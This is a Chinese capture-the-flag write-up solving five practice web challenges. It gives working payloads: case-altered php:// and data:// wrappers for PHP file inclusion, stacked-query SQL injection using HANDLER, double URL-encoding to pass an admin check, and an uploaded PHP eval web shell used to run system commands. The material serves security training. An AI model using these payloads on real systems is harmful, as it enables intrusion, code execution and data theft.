攻防世界-web进阶(部分题目wirteup)

1、Web_php_include

源码：

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>

考察php文件包含
知识点：
1、strstr()函数，strstr() 函数搜索字符串在另一字符串中是否存在，如果是，返回该字符串及剩余部分，否则返回 FALSE。该函数是区分大小写的。如需进行不区分大小写的搜索，请使用 stristr() 函数
2、str_replace()函数，str_replace() 函数替换字符串中的一些字符（区分大小写）
3、利用php伪协议大小写绕过

php伪协议
用法
php://input,用于执行php代码，需要post请求提交数据。
php://filter,用于读取源码，get提交参数。
?a=php://filter/read=convert.base64/resource=xxx.php
需要开启allow_url_fopen:php://input、php://stdin、php://memory、php://temp
不需要开启allow_url_fopen:php://filter

payload:
?page=pHP://input
post:<?php phpinfo();?>

4、data伪协议代码执行

data协议
用法：
data://text/plain,xxxx(要执行的php代码)
data://text/plain;base64,xxxx(base64编码后的数据)
例：
?page=data://text/plain,
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4=

更多内容可参考：《Web_php_include》

2、supersqli

1' or 1 -- +  //--与+之间有空格
1' order by 2 -- +   //两个字段
1' union select 1,2 -- +  //被函数preg_match替换，preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
1';show databases -- +  //堆叠查询数据库，发现supersqli
1';show tables from supersqli;-- +  //堆叠查询supersqli中的表，1919810931114514、words
1';show columns from `1919810931114514` -- + //发现flag
1';show columns from `words` -- +  //columns:id、data
1';handler `1919810931114514` open;handler `1919810931114514` read first;-- +

那么，我们来看看Handler语法说明：

HANDLER tbl_name OPEN [ [AS] alias]
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,…) [ WHERE where_condition ] [LIMIT … ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST } [ WHERE where_condition ] [LIMIT … ]
HANDLER tbl_name READ { FIRST | NEXT } [ WHERE where_condition ] [LIMIT … ]
HANDLER tbl_name CLOSE

先用handler命令open打开表，再handler…read…读取表中的内容，其中read可以使用first、next遍历，还可以配合limit来遍历

3、web2

源码：

<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

function encode($str){
    $_o=strrev($str);
    // echo $_o;
        
    for($_0=0;$_0<strlen($_o);$_0++){
       
        $_c=substr($_o,$_0,1);
        $__=ord($_c)+1;
        $_c=chr($__);
        $_=$_.$_c;   
    } 
    return str_rot13(strrev(base64_encode($_)));
}

highlight_file(__FILE__);
/*
   逆向加密算法，解密$miwen就是flag
*/
?> 

str_rot13，ROT13 编码把每一个字母在字母表中向前移动 13 个字母。数字和非字母字符保持不变。
提示：编码和解码都是由相同的函数完成的。如果您把已编码的字符串作为参数，那么将返回原始字符串。

直接修改代码即可获得flag

<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
$temp=base64_decode(strrev(str_rot13($miwen)));

function decode($str){
    $_o=$str;
    $_='';
    for($_0=0;$_0<strlen($_o);$_0++){
        $_c=substr($_o,$_0,1);
        $__=ord($_c)-1;
        $_c=chr($__);
        $_=$_.$_c;
    }
    return strrev($_);
}
print_r(decode($temp));
?>

4、PHP2

题目的坑点在是否能发现index.phps。

phps文件就是php的源代码文件，通常用于提供给用户（访问者）查看php代码，因为用户无法直接通过Web浏览器看到php文件的内容，所以需要用phps文件代替。其实，只要不用php等已经在服务器中注册过的MIME类型为文件即可，但为了国际通用，所以才用了phps文件类型。
它的MIME类型为：text/html, application/x-httpd-php-source,
application/x-httpd-php3-source。

源码：

<?php
if("admin"===$_GET[id]) {
  echo("<p>not allowed!</p>");
  exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
  echo "<p>Access granted!</p>";
  echo "<p>Key: xxxxxxx </p>";
}
?>

admin二次url编码绕过，获得flag

5、upload1

直接上传一张图片，用burpsuite的repeater功能修改后缀为php，再写入代码<?php @eval($_REQUEST[shell]);?>

浏览器访问：
upload/1601886287.1.php?shell=system(“pwd”); /var/www/html/upload
upload/1601886287.1.php?shell=system(“find /var/www/ -name “flag””); /var/www/html/flag.php
upload/1601886287.1.php?shell=system(“cat /var/www/html/flag.php”); flag在源码中

文章如有不正确的地方，请各位交流指正。